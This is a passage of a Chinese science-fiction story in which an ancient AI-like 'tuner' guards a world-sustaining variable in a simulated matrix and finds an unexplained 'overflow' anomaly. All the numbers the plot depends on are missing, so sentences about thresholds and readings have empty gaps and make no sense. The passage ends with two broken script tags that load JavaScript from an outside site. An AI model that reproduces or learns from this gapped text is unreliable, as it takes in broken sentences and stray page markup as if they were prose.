具体来说,我负责监控一个名为“阿尔法-西格玛”的变量。在矩阵的底层代码中,这个变量的值被严格锁定在一个极其狭窄的区间内:它的立方值必须维持在至之间。
用旧时代人类的数学术语来说,我要守护的是“三次根号至”这一微小的数值跨度。
对于普通人而言,这组数字毫无意义。但在调律者的眼中,这是世界存在的基石。如果这个数值低于三次根号,物质的分子键将失去张力,整个世界会像沙雕一样崩塌;如果数值超过三次根号,引力常数将呈指数级暴涨,瞬间将所有生命压成奇点。
我的工作,就是在这个悬崖边上跳舞,确保那个光标永远在绿色的区间内跳动。
“警告!扇区7-B区域数值波动,当前立方值:,逼近下限阈值。”
红色的警报光在我的视网膜上闪烁。我叹了口气,手指在全息键盘上飞速舞动,向核心注入了一股微弱的“熵增流”。几秒钟后,数值回升到了的安全区。
这种日子我已经过了三千年。或者说,我的意识体已经在这个岗位上运行了三千年。
直到那个“错误”的出现。
那是一个普通的循环周期,我正在例行检查数值日志。在长达数亿行的数据流中,我注意到了一行极其微小的异常记录。在昨天的第4000个时间单位,数值曾在一瞬间变成了。
仅仅多了一。
根据法则,只要超过,扇区就应该毁灭。但扇区7-B依然存在,那里的人们依然在喝咖啡,依然在谈论天气。
“系统,调取该时间点的监控录像。”我下达了指令。
屏幕上跳出了扇区7-B的画面。一个年轻的女孩正站在街角,手里拿着一只红色的气球。就在数值超标的那一微秒,气球突然脱手飞向了天空。
我放大了画面,盯着那只气球。它飞行的轨迹不符合空气动力学,它穿过了高楼,穿过了云层,甚至穿过了矩阵设定的“天空穹顶”。
“这是怎么回事?”我喃喃自语。
“那是‘溢出’。”一个声音在我身后响起。
我猛地回头,身后空无一人,只有无数行绿色的代码在虚空中流淌。
“你是谁?”
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">